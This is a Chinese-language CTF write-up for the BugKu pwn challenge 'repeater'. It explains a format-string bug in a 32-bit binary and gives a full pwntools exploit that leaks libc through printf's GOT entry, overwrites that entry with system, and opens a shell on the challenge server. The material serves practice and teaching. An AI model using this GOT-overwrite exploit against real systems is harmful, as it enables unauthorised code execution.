BugKu repeater WriteUp

思路

  1. 通过输出printf地址泄露libc
  2. 覆盖printf地址为system
  3. 输出/bin/sh

分析

检查安全措施,没有PIE和canary

[*] '/mnt/e/sec/bugku/pwn/repeater/pwn7'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

程序逻辑很简单,循环读buf,然后printf输出:

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  char buf[100]; // [esp+8h] [ebp-70h] BYREF
  unsigned int v4; // [esp+6Ch] [ebp-Ch]

  v4 = __readgsdword(0x14u);
  setbuf(stdin, 0);
  setbuf(stdout, 0);
  setbuf(stderr, 0);
  puts("Do you know repeater?");
  while ( 1 )
  {
    read(0, buf, 0x64u);
    printf(buf);                                // fmt_str
    putchar(10);
  }
}

值得注意的是,noreturn,rop不好打。

这里直接打格式化字符串,因为没有PIE,可以直接泄露和覆盖got表。

泄露got表之后可以在libc.rip上查到对应libc,这里输入build id,pwntools会自动帮你下载相关符号数据。

具体看exp吧,关键处写了注释。

Expolit

from pwn import *

debug = False
local_path = './pwn7'
remote_path = '114.67.175.224'
remote_port = 13613
file = ELF(local_path)
# libc = ELF('/usr/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('/usr/lib/i386-linux-gnu/libc.so.6')
# libc = file.libc
# ld = ELF('/usr/lib/x86_64-linux-gnu/ld-2.31.so')
context.binary = local_path

if debug:
    io = process(local_path)
    # context.terminal = ['cmd.exe', '/c', 'wt.exe', '-w', '0','sp', '-V', '--title', 'gdb', 'bash', '-c']
    # context.terminal = ['cmd.exe', '/c', 'wt.exe', 'bash', '-c']
    context.log_level = 'debug'
else:
    io = remote(remote_path, remote_port)

def z(a=''):
    if debug:
        gdb.attach(io, a)
        if a == '':
            raw_input()
    else:
        pass

def exp():
    printf_got = file.got['printf']
    log.info("printf got: " + hex(printf_got))

    # leak libc
    payload = b"%8$s"
    payload = payload.ljust(0x8, b'a')
    payload += pack(printf_got)
    io.recvline(b"Do you know repeater?")
    io.send(payload)
    printf_addr = unpack(io.recv(4))
    io.recvline()
    log.info("leak printf addr: " + hex(printf_addr))

    # search on libc.rip and input
    id = input("input build id>")
    libcname = libcdb.search_by_build_id(id)
    libc = ELF(libcname)
    libc_base = printf_addr - libc.sym['printf']
    log.info("leak libc base: " + hex(libc_base))
    system_addr = libc_base + libc.sym['system']
    log.info("leak system addr: " + hex(system_addr))

    # overwrite printf got to system
    payload = pack(printf_got) + pack(printf_got + 1) + pack(printf_got + 2)
    pad = len(payload)
    A = (system_addr - pad) & 0xff
    B = (system_addr // 0x100 - A - pad) & 0xff
    C = (system_addr // 0x10000 - A - B - pad) & 0xff
    payload += f"%{A}c%6$hhn%{B}c%7$hhn%{C}c%8$hhn".encode()
    io.send(payload)
    io.recvline()

    # printf(b"/bin/sh\0") => system(b"/bin/sh\0")
    payload = b"/bin/sh\0"
    io.send(payload)
    io.interactive()

if __name__ == '__main__':
    exp()

get shell

总结

  1. 使用格式化字符串覆盖地址时,可以考虑把地址放在前面,避免使用%c输出时读过多字符,读到不可读地址引发段错误。
暂无评论

发送评论 编辑评论

|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇